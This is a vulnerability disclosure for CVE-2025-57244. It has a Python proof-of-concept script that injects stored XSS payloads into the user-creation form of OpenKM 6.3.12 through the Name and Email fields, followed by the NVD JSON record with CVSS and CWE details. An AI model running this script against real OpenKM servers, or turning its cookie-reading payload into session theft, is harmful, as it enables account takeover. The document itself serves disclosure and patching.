CVE-2025-57244

# CVE-2025-57244 OpenKM Stored XSS PoC # Affected: OpenKM Community Edition 6.3.12 import requests import urllib.parse target_url = "http://target-ip:8080/OpenKM" login_url = f"{target_url}/j_spring_security_check" create_user_url = f"{target_url}/admin/user" session = requests.Session() # Step 1: Login with low privilege account login_data = { "j_username": "attacker", "j_password": "password" } session.post(login_url, data=login_data) # Step 2: Method 1 - XSS via Name field xss_payload_name = "<script>alert(document.cookie)</script>" user_data_name = { "usr_id": "testuser1", "usr_name": xss_payload_name, "usr_email": "[email protected]", "usr_password": "Test123456", "usr_active": "true" } session.post(create_user_url, data=user_data_name) # Step 3: Method 2 - XSS via Email field (bypass frontend validation) xss_payload_email_encoded = urllib.parse.quote("<script>alert('XSS')</script>") user_data_email = { "usr_id": "testuser2", "usr_name": "Test User", "usr_email": f"test{xss_payload_email_encoded}@example.com", "usr_password": "Test123456", "usr_active": "true" } session.post(create_user_url, data=user_data_email) print("PoC executed. Check if XSS is triggered when viewing user accounts.")

{"cve": {"id": "CVE-2025-57244", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:44.543", "lastModified": "2025-11-07T19:48:25.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenKM Community Edition 6.3.12 is vulnerable to stored cross-site scripting (XSS) in the user account creation interface. The Name field accepts script tags and the Email field is vulnerable when the POST request is modified to include encoded script tags, by passing frontend validation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openkm:openkm:6.3.12:*:*:*:community:*:*:*", "matchCriteriaId": "C1E76DAF-D676-4056-89B9-E8AFF46450E6"}]}]}], "references": [{"url": "https://github.com/wolffangsecurity/CVEs/blob/main/Stored%20XSS%20via%20Input%20Fields%20with%20Inconsistent%20Client-Side%20and%20Server-Side%20Validation%20Writeup.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/wolffangsecurity/CVEs/tree/main/CVE-2025-57244", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}